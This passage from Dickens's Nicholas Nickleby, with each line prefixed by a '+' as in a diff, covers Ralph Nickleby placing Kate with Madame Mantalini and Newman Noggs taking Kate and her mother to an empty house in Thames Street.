murmured, 'to grasp at any relief from the sight of +this dreadful place, or the presence of its vile master. I have set +these people by the ears, and made two new enemies, where, Heaven +knows, I needed none. Well, it is a just punishment for having +forgotten, even for an hour, what is around me now!' + +So saying, he felt his way among the throng of weary-hearted +sleepers, and crept into his poor bed. + + + +CHAPTER 10 + +How Mr Ralph Nickleby provided for his Niece and Sister-in-Law + + +On the second morning after the departure of Nicholas for Yorkshire, +Kate Nickleby sat in a very faded chair raised upon a very dusty +throne in Miss La Creevy's room, giving that lady a sitting for the +portrait upon which she was engaged; and towards the full perfection +of which, Miss La Creevy had had the street-door case brought +upstairs, in order that she might be the better able to infuse into +the counterfeit countenance of Miss Nickleby, a bright salmon flesh- +tint which she had originally hit upon while executing the miniature +of a young officer therein contained, and which bright salmon flesh- +tint was considered, by Miss La Creevy's chief friends and patrons, +to be quite a novelty in art: as indeed it was. + +'I think I have caught it now,' said Miss La Creevy. 'The very +shade! This will be the sweetest portrait I have ever done, +certainly.' + +'It will be your genius that makes it so, then, I am sure,' replied +Kate, smiling. + +'No, no, I won't allow that, my dear,' rejoined Miss La Creevy. +'It's a very nice subject--a very nice subject, indeed--though, of +course, something depends upon the mode of treatment.' + +'And not a little,' observed Kate. + +'Why, my dear, you are right there,' said Miss La Creevy, 'in the +main you are right there; though I don't allow that it is of such +very great importance in the present case. Ah! The difficulties of +Art, my dear, are great.' + +'They must be, I have no doubt,' said Kate, humouring her good- +natured little friend. + +'They are beyond anything you can form the faintest conception of,' +replied Miss La Creevy. 'What with bringing out eyes with all one's +power, and keeping down noses with all one's force, and adding to +heads, and taking away teeth altogether, you have no idea of the +trouble one little miniature is.' + +'The remuneration can scarcely repay you,' said Kate. + +'Why, it does not, and that's the truth,' answered Miss La Creevy; +'and then people are so dissatisfied and unreasonable, that, nine +times out of ten, there's no pleasure in painting them. Sometimes +they say, "Oh, how very serious you have made me look, Miss La +Creevy!" and at others, "La, Miss La Creevy, how very smirking!" +when the very essence of a good portrait is, that it must be either +serious or smirking, or it's no portrait at all.' + +'Indeed!' said Kate, laughing. + +'Certainly, my dear; because the sitters are always either the one +or the other,' replied Miss La Creevy. 'Look at the Royal Academy! +All those beautiful shiny portraits of gentlemen in black velvet +waistcoats, with their fists doubled up on round tables, or marble +slabs, are serious, you know; and all the ladies who are playing +with little parasols, or little dogs, or little children--it's the +same rule in art, only varying the objects--are smirking. In fact,' +said Miss La Creevy, sinking her voice to a confidential whisper, +'there are only two styles of portrait painting; the serious and the +smirk; and we always use the serious for professional people (except +actors sometimes), and the smirk for private ladies and gentlemen +who don't care so much about looking clever.' + +Kate seemed highly amused by this information, and Miss La Creevy +went on painting and talking, with immovable complacency. + +'What a number of officers you seem to paint!' said Kate, availing +herself of a pause in the discourse, and glancing round the room. + +'Number of what, child?' inquired Miss La Creevy, looking up from +her work. 'Character portraits, oh yes--they're not real military +men, you know.' + +'No!' + +'Bless your heart, of course not; only clerks and that, who hire a +uniform coat to be painted in, and send it here in a carpet bag. +Some artists,' said Miss La Creevy, 'keep a red coat, and charge +seven-and-sixpence extra for hire and carmine; but I don't do that +myself, for I don't consider it legitimate.' + +Drawing herself up, as though she plumed herself greatly upon not +resorting to these lures to catch sitters, Miss La Creevy applied +herself, more intently, to her task: only raising her head +occasionally, to look with unspeakable satisfaction at some touch +she had just put in: and now and then giving Miss Nickleby to +understand what particular feature she was at work upon, at the +moment; 'not,' she expressly observed, 'that you should make it up +for painting, my dear, but because it's our custom sometimes to tell +sitters what part we are upon, in order that if there's any +particular expression they want introduced, they may throw it in, at +the time, you know.' + +'And when,' said Miss La Creevy, after a long silence, to wit, an +interval of full a minute and a half, 'when do you expect to see +your uncle again?' + +'I scarcely know; I had expected to have seen him before now,' +replied Kate. 'Soon I hope, for this state of uncertainty is worse +than anything.' + +'I suppose he has money, hasn't he?' inquired Miss La Creevy. + +'He is very rich, I have heard,' rejoined Kate. 'I don't know that +he is, but I believe so.' + +'Ah, you may depend upon it he is, or he wouldn't be so surly,' +remarked Miss La Creevy, who was an odd little mixture of shrewdness +and simplicity. 'When a man's a bear, he is generally pretty +independent.' + +'His manner is rough,' said Kate. + +'Rough!' cried Miss La Creevy, 'a porcupine's a featherbed to him! +I never met with such a cross-grained old savage.' + +'It is only his manner, I believe,' observed Kate, timidly; 'he was +disappointed in early life, I think I have heard, or has had his +temper soured by some calamity. I should be sorry to think ill of +him until I knew he deserved it.' + +'Well; that's very right and proper,' observed the miniature +painter, 'and Heaven forbid that I should be the cause of your doing +so! But, now, mightn't he, without feeling it himself, make you and +your mama some nice little allowance that would keep you both +comfortable until you were well married, and be a little fortune to +her afterwards? What would a hundred a year for instance, be to +him?' + +'I don't know what it would be to him,' said Kate, with energy, 'but +it would be that to me I would rather die than take.' + +'Heyday!' cried Miss La Creevy. + +'A dependence upon him,' said Kate, 'would embitter my whole life. +I should feel begging a far less degradation.' + +'Well!' exclaimed Miss La Creevy. 'This of a relation whom you will +not hear an indifferent person speak ill of, my dear, sounds oddly +enough, I confess.' + +'I dare say it does,' replied Kate, speaking more gently, 'indeed I +am sure it must. I--I--only mean that with the feelings and +recollection of better times upon me, I could not bear to live on +anybody's bounty--not his particularly, but anybody's.' + +Miss La Creevy looked slyly at her companion, as if she doubted +whether Ralph himself were not the subject of dislike, but seeing +that her young friend was distressed, made no remark. + +'I only ask of him,' continued Kate, whose tears fell while she +spoke, 'that he will move so little out of his way, in my behalf, as +to enable me by his recommendation--only by his recommendation--to +earn, literally, my bread and remain with my mother. Whether we +shall ever taste happiness again, depends upon the fortunes of my +dear brother; but if he will do this, and Nicholas only tells us +that he is well and cheerful, I shall be contented.' + +As she ceased to speak, there was a rustling behind the screen which +stood between her and the door, and some person knocked at the +wainscot.' + +'Come in, whoever it is!' cried Miss La Creevy. + +The person complied, and, coming forward at once, gave to view the +form and features of no less an individual than Mr Ralph Nickleby +himself. + +'Your servant, ladies,' said Ralph, looking sharply at them by +turns. 'You were talking so loud, that I was unable to make you +hear.' + +When the man of business had a more than commonly vicious snarl +lurking at his heart, he had a trick of almost concealing his eyes +under their thick and protruding brows, for an instant, and then +displaying them in their full keenness. As he did so now, and tried +to keep down the smile which parted his thin compressed lips, and +puckered up the bad lines about his mouth, they both felt certain +that some part, if not the whole, of their recent conversation, had +been overheard. + +'I called in, on my way upstairs, more than half expecting to find +you here,' said Ralph, addressing his niece, and looking +contemptuously at the portrait. 'Is that my niece's portrait, +ma'am?' + +'Yes it is, Mr Nickleby,' said Miss La Creevy, with a very sprightly +air, 'and between you and me and the post, sir, it will be a very +nice portrait too, though I say it who am the painter.' + +'Don't trouble yourself to show it to me, ma'am,' cried Ralph, +moving away, 'I have no eye for likenesses. Is it nearly finished?' + +'Why, yes,' replied Miss La Creevy, considering with the pencil end +of her brush in her mouth. 'Two sittings more will--' + +'Have them at once, ma'am,' said Ralph. 'She'll have no time to +idle over fooleries after tomorrow. Work, ma'am, work; we must all +work. Have you let your lodgings, ma'am?' + +'I have not put a bill up yet, sir.' + +'Put it up at once, ma'am; they won't want the rooms after this +week, or if they do, can't pay for them. Now, my dear, if you're +ready, we'll lose no more time.' + +With an assumption of kindness which sat worse upon him even than +his usual manner, Mr Ralph Nickleby motioned to the young lady to +precede him, and bowing gravely to Miss La Creevy, closed the door +and followed upstairs, where Mrs Nickleby received him with many +expressions of regard. Stopping them somewhat abruptly, Ralph waved +his hand with an impatient gesture, and proceeded to the object of +his visit. + +'I have found a situation for your daughter, ma'am,' said Ralph. + +'Well,' replied Mrs Nickleby. 'Now, I will say that that is only +just what I have expected of you. "Depend upon it," I said to Kate, +only yesterday morning at breakfast, "that after your uncle has +provided, in that most ready manner, for Nicholas, he will not leave +us until he has done at least the same for you." These were my very +words, as near as I remember. Kate, my dear, why don't you thank +your--' + +'Let me proceed, ma'am, pray,' said Ralph, interrupting his sister- +in-law in the full torrent of her discourse. + +'Kate, my love, let your uncle proceed,' said Mrs Nickleby. + +'I am most anxious that he should, mama,' rejoined Kate. + +'Well, my dear, if you are anxious that he should, you had better +allow your uncle to say what he has to say, without interruption,' +observed Mrs Nickleby, with many small nods and frowns. 'Your +uncle's time is very valuable, my dear; and however desirous you may +be--and naturally desirous, as I am sure any affectionate relations +who have seen so little of your uncle as we have, must naturally be +to protract the pleasure of having him among us, still, we are +bound not to be selfish, but to take into consideration the +important nature of his occupations in the city.' + +'I am very much obliged to you, ma'am,' said Ralph with a scarcely +perceptible sneer. 'An absence of business habits in this family +leads, apparently, to a great waste of words before business--when +it does come under consideration--is arrived at, at all.' + +'I fear it is so indeed,' replied Mrs Nickleby with a sigh. 'Your +poor brother--' + +'My poor brother, ma'am,' interposed Ralph tartly, 'had no idea what +business was--was unacquainted, I verily believe, with the very +meaning of the word.' + +'I fear he was,' said Mrs Nickleby, with her handkerchief to her +eyes. 'If it hadn't been for me, I don't know what would have +become of him.' + +What strange creatures we are! The slight bait so skilfully thrown +out by Ralph, on their first interview, was dangling on the hook +yet. At every small deprivation or discomfort which presented +itself in the course of the four-and-twenty hours to remind her of +her straitened and altered circumstances, peevish visions of her +dower of one thousand pounds had arisen before Mrs Nickleby's mind, +until, at last, she had come to persuade herself that of all her +late husband's creditors she was the worst used and the most to be +pitied. And yet, she had loved him dearly for many years, and had +no greater share of selfishness than is the usual lot of mortals. +Such is the irritability of sudden poverty. A decent annuity would +have restored her thoughts to their old train, at once. + +'Repining is of no use, ma'am,' said Ralph. 'Of all fruitless +errands, sending a tear to look after a day that is gone is the most +fruitless.' + +'So it is,' sobbed Mrs Nickleby. 'So it is.' + +'As you feel so keenly, in your own purse and person, the +consequences of inattention to business, ma'am,' said Ralph, 'I am +sure you will impress upon your children the necessity of attaching +themselves to it early in life.' + +'Of course I must see that,' rejoined Mrs Nickleby. 'Sad +experience, you know, brother-in-law.--Kate, my dear, put that down +in the next letter to Nicholas, or remind me to do it if I write.' + +Ralph paused for a few moments, and seeing that he had now made +pretty sure of the mother, in case the daughter objected to his +proposition, went on to say: + +'The situation that I have made interest to procure, ma'am, is with +--with a milliner and dressmaker, in short.' + +'A milliner!' cried Mrs Nickleby. + +'A milliner and dressmaker, ma'am,' replied Ralph. 'Dressmakers in +London, as I need not remind you, ma'am, who are so well acquainted +with all matters in the ordinary routine of life, make large +fortunes, keep equipages, and become persons of great wealth and +fortune.' + +Now, the first idea called up in Mrs Nickleby's mind by the words +milliner and dressmaker were connected with certain wicker baskets +lined with black oilskin, which she remembered to have seen carried +to and fro in the streets; but, as Ralph proceeded, these +disappeared, and were replaced by visions of large houses at the +West end, neat private carriages, and a banker's book; all of which +images succeeded each other with such rapidity, that he had no +sooner finished speaking, than she nodded her head and said 'Very +true,' with great appearance of satisfaction. + +'What your uncle says is very true, Kate, my dear,' said Mrs +Nickleby. 'I recollect when your poor papa and I came to town after +we were married, that a young lady brought me home a chip cottage- +bonnet, with white and green trimming, and green persian lining, in +her own carriage, which drove up to the door full gallop;--at least, +I am not quite certain whether it was her own carriage or a hackney +chariot, but I remember very well that the horse dropped down dead +as he was turning round, and that your poor papa said he hadn't had +any corn for a fortnight.' + +This anecdote, so strikingly illustrative of the opulence of +milliners, was not received with any great demonstration of feeling, +inasmuch as Kate hung down her head while it was relating, and Ralph +manifested very intelligible symptoms of extreme impatience. + +'The lady's name,' said Ralph, hastily striking in, 'is Mantalini-- +Madame Mantalini. I know her. She lives near Cavendish Square. If +your daughter is disposed to try after the situation, I'll take her +there directly.' + +'Have you nothing to say to your uncle, my love?' inquired Mrs +Nickleby. + +'A great deal,' replied Kate; 'but not now. I would rather speak to +him when we are alone;--it will save his time if I thank him and say +what I wish to say to him, as we walk along.' + +With these words, Kate hurried away, to hide the traces of emotion +that were stealing down her face, and to prepare herself for the +walk, while Mrs Nickleby amused her brother-in-law by giving him, +with many tears, a detailed account of the dimensions of a rosewood +cabinet piano they had possessed in their days of affluence, +together with a minute description of eight drawing-room chairs, +with turned legs and green chintz squabs to match the curtains, +which had cost two pounds fifteen shillings apiece, and had gone at +the sale for a mere nothing. + +These reminiscences were at length cut short by Kate's return in her +walking dress, when Ralph, who had been fretting and fuming during +the whole time of her absence, lost no time, and used very little +ceremony, in descending into the street. + +'Now,' he said, taking her arm, 'walk as fast as you can, and you'll +get into the step that you'll have to walk to business with, every +morning.' So saying, he led Kate off, at a good round pace, towards +Cavendish Square. + +'I am very much obliged to you, uncle,' said the young lady, after +they had hurried on in silence for some time; 'very.' + +'I'm glad to hear it,' said Ralph. 'I hope you'll do your duty.' + +'I will try to please, uncle,' replied Kate: 'indeed I--' + +'Don't begin to cry,' growled Ralph; 'I hate crying.' + +'It's very foolish, I know, uncle,' began poor Kate. + +'It is,' replied Ralph, stopping her short, 'and very affected +besides. Let me see no more of it.' + +Perhaps this was not the best way to dry the tears of a young and +sensitive female, about to make her first entry on an entirely new +scene of life, among cold and uninterested strangers; but it had its +effect notwithstanding. Kate coloured deeply, breathed quickly for +a few moments, and then walked on with a firmer and more determined +step. + +It was a curious contrast to see how the timid country girl shrunk +through the crowd that hurried up and down the streets, giving way +to the press of people, and clinging closely to Ralph as though she +feared to lose him in the throng; and how the stern and hard- +featured man of business went doggedly on, elbowing the passengers +aside, and now and then exchanging a gruff salutation with some +passing acquaintance, who turned to look back upon his pretty +charge, with looks expressive of surprise, and seemed to wonder at +the ill-assorted companionship. But, it would have been a stranger +contrast still, to have read the hearts that were beating side by +side; to have laid bare the gentle innocence of the one, and the +rugged villainy of the other; to have hung upon the guileless +thoughts of the affectionate girl, and been amazed that, among all +the wily plots and calculations of the old man, there should not be +one word or figure denoting thought of death or of the grave. But +so it was; and stranger still--though this is a thing of every day-- +the warm young heart palpitated with a thousand anxieties and +apprehensions, while that of the old worldly man lay rusting in its +cell, beating only as a piece of cunning mechanism, and yielding no +one throb of hope, or fear, or love, or care, for any living thing. + +'Uncle,' said Kate, when she judged they must be near their +destination, 'I must ask one question of you. I am to live at +home?' + +'At home!' replied Ralph; 'where's that?' + +'I mean with my mother--THE WIDOW,' said Kate emphatically. + +'You will live, to all intents and purposes, here,' rejoined Ralph; +'for here you will take your meals, and here you will be from +morning till night--occasionally perhaps till morning again.' + +'But at night, I mean,' said Kate; 'I cannot leave her, uncle. I +must have some place that I can call a home; it will be wherever she +is, you know, and may be a very humble one.' + +'May be!' said Ralph, walking faster, in the impatience provoked by +the remark; 'must be, you mean. May be a humble one! Is the girl +mad?' + +'The word slipped from my lips, I did not mean it indeed,' urged +Kate. + +'I hope not,' said Ralph. + +'But my question, uncle; you have not answered it.' + +'Why, I anticipated something of the kind,' said Ralph; 'and--though +I object very strongly, mind--have provided against it. I spoke of +you as an out-of-door worker; so you will go to this home that may +be humble, every night.' + +There was comfort in this. Kate poured forth many thanks for her +uncle's consideration, which Ralph received as if he had deserved +them all, and they arrived without any further conversation at the +dressmaker's door, which displayed a very large plate, with Madame +Mantalini's name and occupation, and was approached by a handsome +flight of steps. There was a shop to the house, but it was let off +to an importer of otto of roses. Madame Mantalini's shows-rooms +were on the first-floor: a fact which was notified to the nobility +and gentry by the casual exhibition, near the handsomely curtained +windows, of two or three elegant bonnets of the newest fashion, and +some costly garments in the most approved taste. + +A liveried footman opened the door, and in reply to Ralph's inquiry +whether Madame Mantalini was at home, ushered them, through a +handsome hall and up a spacious staircase, into the show saloon, +which comprised two spacious drawing-rooms, and exhibited an immense +variety of superb dresses and materials for dresses: some arranged +on stands, others laid carelessly on sofas, and others again, +scattered over the carpet, hanging on the cheval-glasses, or +mingling, in some other way, with the rich furniture of various +descriptions, which was profusely displayed. + +They waited here a much longer time than was agreeable to Mr Ralph +Nickleby, who eyed the gaudy frippery about him with very little +concern, and was at length about to pull the bell, when a gentleman +suddenly popped his head into the room, and, seeing somebody there, +as suddenly popped it out again. + +'Here. Hollo!' cried Ralph. 'Who's that?' + +At the sound of Ralph's voice, the head reappeared, and the mouth, +displaying a very long row of very white teeth, uttered in a mincing +tone the words, 'Demmit. What, Nickleby! oh, demmit!' Having +uttered which ejaculations, the gentleman advanced, and shook hands +with Ralph, with great warmth. He was dressed in a gorgeous morning +gown, with a waistcoat and Turkish trousers of the same pattern, a +pink silk neckerchief, and bright green slippers, and had a very +copious watch-chain wound round his body. Moreover, he had whiskers +and a moustache, both dyed black and gracefully curled. + +'Demmit, you don't mean to say you want me, do you, demmit?' said +this gentleman, smiting Ralph on the shoulder. + +'Not yet,' said Ralph, sarcastically. + +'Ha! ha! demmit,' cried the gentleman; when, wheeling round to laugh +with greater elegance, he encountered Kate Nickleby, who was +standing near. + +'My niece,' said Ralph. + +'I remember,' said the gentleman, striking his nose with the knuckle +of his forefinger as a chastening for his forgetfulness. 'Demmit, I +remember what you come for. Step this way, Nickleby; my dear, will +you follow me? Ha! ha! They all follow me, Nickleby; always did, +demmit, always.' + +Giving loose to the playfulness of his imagination, after this +fashion, the gentleman led the way to a private sitting-room on the +second floor, scarcely less elegantly furnished than the apartment +below, where the presence of a silver coffee-pot, an egg-shell, and +sloppy china for one, seemed to show that he had just breakfasted. + +'Sit down, my dear,' said the gentleman: first staring Miss Nickleby +out of countenance, and then grinning in delight at the achievement. +'This cursed high room takes one's breath away. These infernal sky +parlours--I'm afraid I must move, Nickleby.' + +'I would, by all means,' replied Ralph, looking bitterly round. + +'What a demd rum fellow you are, Nickleby,' said the gentleman, 'the +demdest, longest-headed, queerest-tempered old coiner of gold and +silver ever was--demmit.' + +Having complimented Ralph to this effect, the gentleman rang the +bell, and stared at Miss Nickleby until it was answered, when he +left off to bid the man desire his mistress to come directly; after +which, he began again, and left off no more until Madame Mantalini +appeared. + +The dressmaker was a buxom person, handsomely dressed and rather +good-looking, but much older than the gentleman in the Turkish +trousers, whom she had wedded some six months before. His name was +originally Muntle; but it had been converted, by an easy transition, +into Mantalini: the lady rightly considering that an English +appellation would be of serious injury to the business. He had +married on his whiskers; upon which property he had previously +subsisted, in a genteel manner, for some years; and which he had +recently improved, after patient cultivation by the addition of a +moustache, which promised to secure him an easy independence: his +share in the labours of the business being at present confined to +spending the money, and occasionally, when that ran short, driving +to Mr Ralph Nickleby to procure discount--at a percentage--for the +customers' bills. + +'My life,' said Mr Mantalini, 'what a demd devil of a time you have +been!' + +'I didn't even know Mr Nickleby was here, my love,' said Madame +Mantalini. + +'Then what a doubly demd infernal rascal that footman must be, my +soul,' remonstrated Mr Mantalini. + +'My dear,' said Madame, 'that is entirely your fault.' + +'My fault, my heart's joy?' + +'Certainly,' returned the lady; 'what can you expect, dearest, if +you will not correct the man?' + +'Correct the man, my soul's delight!' + +'Yes; I am sure he wants speaking to, badly enough,' said Madame, +pouting. + +'Then do not vex itself,' said Mr Mantalini; 'he shall be horse- +whipped till he cries out demnebly.' With this promise Mr Mantalini +kissed Madame Mantalini, and, after that performance, Madame +Mantalini pulled Mr Mantalini playfully by the ear: which done, they +descended to business. + +'Now, ma'am,' said Ralph, who had looked on, at all this, with such +scorn as few men can express in looks, 'this is my niece.' + +'Just so, Mr Nickleby,' replied Madame Mantalini, surveying Kate +from head to foot, and back again. 'Can you speak French, child?' + +'Yes, ma'am,' replied Kate, not daring to look up; for she felt that +the eyes of the odious man in the dressing-gown were directed +towards her. + +'Like a demd native?' asked the husband. + +Miss Nickleby offered no reply to this inquiry, but turned her back +upon the questioner, as if addressing herself to make answer to what +his wife might demand. + +'We keep twenty young women constantly employed in the +establishment,' said Madame. + +'Indeed, ma'am!' replied Kate, timidly. + +'Yes; and some of 'em demd handsome, too,' said the master. + +'Mantalini!' exclaimed his wife, in an awful voice. + +'My senses' idol!' said Mantalini. + +'Do you wish to break my heart?' + +'Not for twenty thousand hemispheres populated with--with--with +little ballet-dancers,' replied Mantalini in a poetical strain. + +'Then you will, if you persevere in that mode of speaking,' said his +wife. 'What can Mr Nickleby think when he hears you?' + +'Oh! Nothing, ma'am, nothing,' replied Ralph. 'I know his amiable +nature, and yours,--mere little remarks that give a zest to your +daily intercourse--lovers' quarrels that add sweetness to those +domestic joys which promise to last so long--that's all; that's +all.' + +If an iron door could be supposed to quarrel with its hinges, and to +make a firm resolution to open with slow obstinacy, and grind them +to powder in the process, it would emit a pleasanter sound in so +doing, than did these words in the rough and bitter voice in which +they were uttered by Ralph. Even Mr Mantalini felt their influence, +and turning affrighted round, exclaimed: 'What a demd horrid +croaking!' + +'You will pay no attention, if you please, to what Mr Mantalini +says,' observed his wife, addressing Miss Nickleby. + +'I do not, ma'am,' said Kate, with quiet contempt. + +'Mr Mantalini knows nothing whatever about any of the young women,' +continued Madame, looking at her husband, and speaking to Kate. 'If +he has seen any of them, he must have seen them in the street, going +to, or returning from, their work, and not here. He was never even +in the room. I do not allow it. What hours of work have you been +accustomed to?' + +'I have never yet been accustomed to work at all, ma'am,' replied +Kate, in a low voice. + +'For which reason she'll work all the better now,' said Ralph, +putting in a word, lest this confession should injure the +negotiation. + +'I hope so,' returned Madame Mantalini; 'our hours are from nine to +nine, with extra work when we're very full of business, for which I +allow payment as overtime.' + +Kate bowed her head, to intimate that she heard, and was satisfied. + +'Your meals,' continued Madame Mantalini, 'that is, dinner and tea, +you will take here. I should think your wages would average from +five to seven shillings a week; but I can't give you any certain +information on that point, until I see what you can do.' + +Kate bowed her head again. + +'If you're ready to come,' said Madame Mantalini, 'you had better +begin on Monday morning at nine exactly, and Miss Knag the forewoman +shall then have directions to try you with some easy work at first. +Is there anything more, Mr Nickleby?' + +'Nothing more, ma'am,' replied Ralph, rising. + +'Then I believe that's all,' said the lady. Having arrived at this +natural conclusion, she looked at the door, as if she wished to be +gone, but hesitated notwithstanding, as though unwilling to leave to +Mr Mantalini the sole honour of showing them downstairs. Ralph +relieved her from her perplexity by taking his departure without +delay: Madame Mantalini making many gracious inquiries why he never +came to see them; and Mr Mantalini anathematising the stairs with +great volubility as he followed them down, in the hope of inducing +Kate to look round,--a hope, however, which was destined to remain +ungratified. + +'There!' said Ralph when they got into the street; 'now you're +provided for.' + +Kate was about to thank him again, but he stopped her. + +'I had some idea,' he said, 'of providing for your mother in a +pleasant part of the country--(he had a presentation to some +almshouses on the borders of Cornwall, which had occurred to him +more than once)--but as you want to be together, I must do something +else for her. She has a little money?' + +'A very little,' replied Kate. + +'A little will go a long way if it's used sparingly,' said Ralph. +'She must see how long she can make it last, living rent free. You +leave your lodgings on Saturday?' + +'You told us to do so, uncle.' + +'Yes; there is a house empty that belongs to me, which I can put you +into till it is let, and then, if nothing else turns up, perhaps I +shall have another. You must live there.' + +'Is it far from here, sir?' inquired Kate. + +'Pretty well,' said Ralph; 'in another quarter of the town--at the +East end; but I'll send my clerk down to you, at five o'clock on +Saturday, to take you there. Goodbye. You know your way? Straight +on.' + +Coldly shaking his niece's hand, Ralph left her at the top of Regent +Street, and turned down a by-thoroughfare, intent on schemes of +money-getting. Kate walked sadly back to their lodgings in the +Strand. + + + +CHAPTER 11 + +Newman Noggs inducts Mrs and Miss Nickleby into their New Dwelling +in the City + + +Miss Nickleby's reflections, as she wended her way homewards, were +of that desponding nature which the occurrences of the morning had +been sufficiently calculated to awaken. Her uncle's was not a +manner likely to dispel any doubts or apprehensions she might have +formed, in the outset, neither was the glimpse she had had of Madame +Mantalini's establishment by any means encouraging. It was with +many gloomy forebodings and misgivings, therefore, that she looked +forward, with a heavy heart, to the opening of her new career. + +If her mother's consolations could have restored her to a pleasanter +and more enviable state of mind, there were abundance of them to +produce the effect. By the time Kate reached home, the good lady +had called to mind two authentic cases of milliners who had been +possessed of considerable property, though whether they had acquired +it all in business, or had had a capital to start with, or had been +lucky and married to advantage, she could not exactly remember. +However, as she very logically remarked, there must have been SOME +young person in that way of business who had made a fortune without +having anything to begin with, and that being taken for granted, why +should not Kate do the same? Miss La Creevy, who was a member of +the little council, ventured to insinuate some doubts relative to +the probability of Miss Nickleby's arriving at this happy +consummation in the compass of an ordinary lifetime; but the good +lady set that question entirely at rest, by informing them that she +had a presentiment on the subject--a species of second-sight with +which she had been in the habit of clenching every argument with the +deceased Mr Nickleby, and, in nine cases and three-quarters out of +every ten, determining it the wrong way. + +'I am afraid it is an unhealthy occupation,' said Miss La Creevy. +'I recollect getting three young milliners to sit to me, when I +first began to paint, and I remember that they were all very pale +and sickly.' + +'Oh! that's not a general rule by any means,' observed Mrs Nickleby; +'for I remember, as well as if it was only yesterday, employing one +that I was particularly recommended to, to make me a scarlet cloak +at the time when scarlet cloaks were fashionable, and she had a very +red face--a very red face, indeed.' + +'Perhaps she drank,' suggested Miss La Creevy. + +'I don't know how that may have been,' returned Mrs Nickleby: 'but I +know she had a very red face, so your argument goes for nothing.' + +In this manner, and with like powerful reasoning, did the worthy +matron meet every little objection that presented itself to the new +scheme of the morning. Happy Mrs Nickleby! A project had but to be +new, and it came home to her mind, brightly varnished and gilded as +a glittering toy. + +This question disposed of, Kate communicated her uncle's desire +about the empty house, to which Mrs Nickleby assented with equal +readiness, characteristically remarking, that, on the fine evenings, +it would be a pleasant amusement for her to walk to the West end to +fetch her daughter home; and no less characteristically forgetting, +that there were such things as wet nights and bad weather to be +encountered in almost every week of the year. + +'I shall be sorry--truly sorry to leave you, my kind friend,' said +Kate, on whom the good feeling of the poor miniature painter had +made a deep impression. + +'You shall not shake me off, for all that,' replied Miss La Creevy, +with as much sprightliness as she could assume. 'I shall see you +very often, and come and hear how you get on; and if, in all London, +or all the wide world besides, there is no other heart that takes an +interest in your welfare, there will be one little lonely woman that +prays for it night and day.' + +With this, the poor soul, who had a heart big enough for Gog, the +guardian genius of London, and enough to spare for Magog to boot, +after making a great many extraordinary faces which would have +secured her an ample fortune, could she have transferred them to +ivory or canvas, sat down in a corner, and had what she termed 'a +real good cry.' + +But no crying, or talking, or hoping, or fearing, could keep off the +dreaded Saturday afternoon, or Newman Noggs either; who, punctual to +his time, limped up to the door, and breathed a whiff of cordial gin +through the keyhole, exactly as such of the church clocks in the +neighbourhood as agreed among themselves about the time, struck +five. Newman waited for the last stroke, and then knocked. + +'From Mr Ralph Nickleby,' said Newman, announcing his errand, when +he got upstairs, with all possible brevity. + +'We shall be ready directly,' said Kate. 'We have not much to +carry, but I fear we must have a coach.' + +'I'll get one,' replied Newman. + +'Indeed you shall not trouble yourself,' said Mrs Nickleby. + +'I will,' said Newman. + +'I can't suffer you to think of such a thing,' said Mrs Nickleby. + +'You can't help it,' said Newman. + +'Not help it!' + +'No; I thought of it as I came along; but didn't get one, thinking +you mightn't be ready. I think of a great many things. Nobody can +prevent that.' + +'Oh yes, I understand you, Mr Noggs,' said Mrs Nickleby. 'Our +thoughts are free, of course. Everybody's thoughts are their own, +clearly.' + +'They wouldn't be, if some people had their way,' muttered Newman. + +'Well, no more they would, Mr Noggs, and that's very true,' rejoined +Mrs Nickleby. 'Some people to be sure are such--how's your master?' + +Newman darted a meaning glance at Kate, and replied with a strong +emphasis on the last word of his answer, that Mr Ralph Nickleby was +well, and sent his LOVE. + +'I am sure we are very much obliged to him,' observed Mrs Nickleby. + +'Very,' said Newman. 'I'll tell him so.' + +It was no very easy matter to mistake Newman Noggs, after having +once seen him, and as Kate, attracted by the singularity of his +manner (in which on this occasion, however, there was something +respectful and even delicate, notwithstanding the abruptness of his +speech), looked at him more closely, she recollected having caught a +passing glimpse of that strange figure before. + +'Excuse my curiosity,' she said, 'but did I not see you in the +coachyard, on the morning my brother went away to Yorkshire?' + +Newman cast a wistful glance on Mrs Nickleby and said 'No,' most +unblushingly. + +'No!' exclaimed Kate, 'I should have said so anywhere.' + +'You'd have said wrong,' rejoined Newman. 'It's the first time I've +been out for three weeks. I've had the gout.' + +Newman was very, very far from having the appearance of a gouty +subject, and so Kate could not help thinking; but the conference was +cut short by Mrs Nickleby's insisting on having the door shut, lest +Mr Noggs should take cold, and further persisting in sending the +servant girl for a coach, for fear he should bring on another attack +of his disorder. To both conditions, Newman was compelled to yield. +Presently, the coach came; and, after many sorrowful farewells, and +a great deal of running backwards and forwards across the pavement +on the part of Miss La Creevy, in the course of which the yellow +turban came into violent contact with sundry foot-passengers, it +(that is to say the coach, not the turban) went away again, with the +two ladies and their luggage inside; and Newman, despite all Mrs +Nickleby's assurances that it would be his death--on the box beside +the driver. + +They went into the city, turning down by the river side; and, after +a long and very slow drive, the streets being crowded at that hour +with vehicles of every kind, stopped in front of a large old dingy +house in Thames Street: the door and windows of which were so +bespattered with mud, that it would have appeared to have been +uninhabited for years. + +The door of this deserted mansion Newman opened with a key which he +took out of his hat--in which, by-the-bye, in consequence of the +dilapidated state of his pockets, he deposited everything, and would +most likely have carried his money if he had had any--and the coach +being discharged, he led the way into the interior of the mansion. + +Old, and gloomy, and black, in truth it was, and sullen and dark +were the rooms, once so bustling with life and enterprise. There +was a wharf behind, opening on the Thames. An empty dog-kennel, +some bones of animals, fragments of iron hoops, and staves of old +casks, lay strewn about, but no life was stirring there. It was a +picture of cold, silent decay. + +'This house depresses and chills one,' said Kate, 'and seems as if +some blight had fallen on it. If I were superstitious, I should be +almost inclined to believe that some dreadful crime had been +perpetrated within these old walls, and that the place had never +prospered since. How frowning and how dark it looks!' + +'Lord, my dear,' replied Mrs Nickleby, 'don't talk in that way, or +you'll frighten me to death.' + +'It is only my foolish fancy, mama,' said Kate, forcing a smile. + +'Well, then, my love, I wish you would keep your foolish fancy to +yourself, and not wake up MY foolish fancy to keep it company,' +retorted Mrs Nickleby. 'Why didn't you think of all this before-- +you are so careless--we might have asked Miss La Creevy to keep us +company or borrowed a dog, or a thousand things--but it always was +the way, and was just the same with your poor dear father. Unless I +thought of everything--' This was Mrs Nickleby's usual commencement +of a general lamentation, running through a dozen or so of +complicated sentences addressed to nobody in particular, and into +which she now launched until her breath was exhausted. + +Newman appeared not to hear these remarks, but preceded them to a +couple of rooms on the first floor, which some kind of attempt had +been made to render habitable. In one, were a few chairs, a table, +an old hearth-rug, and some faded baize; and a fire was ready laid 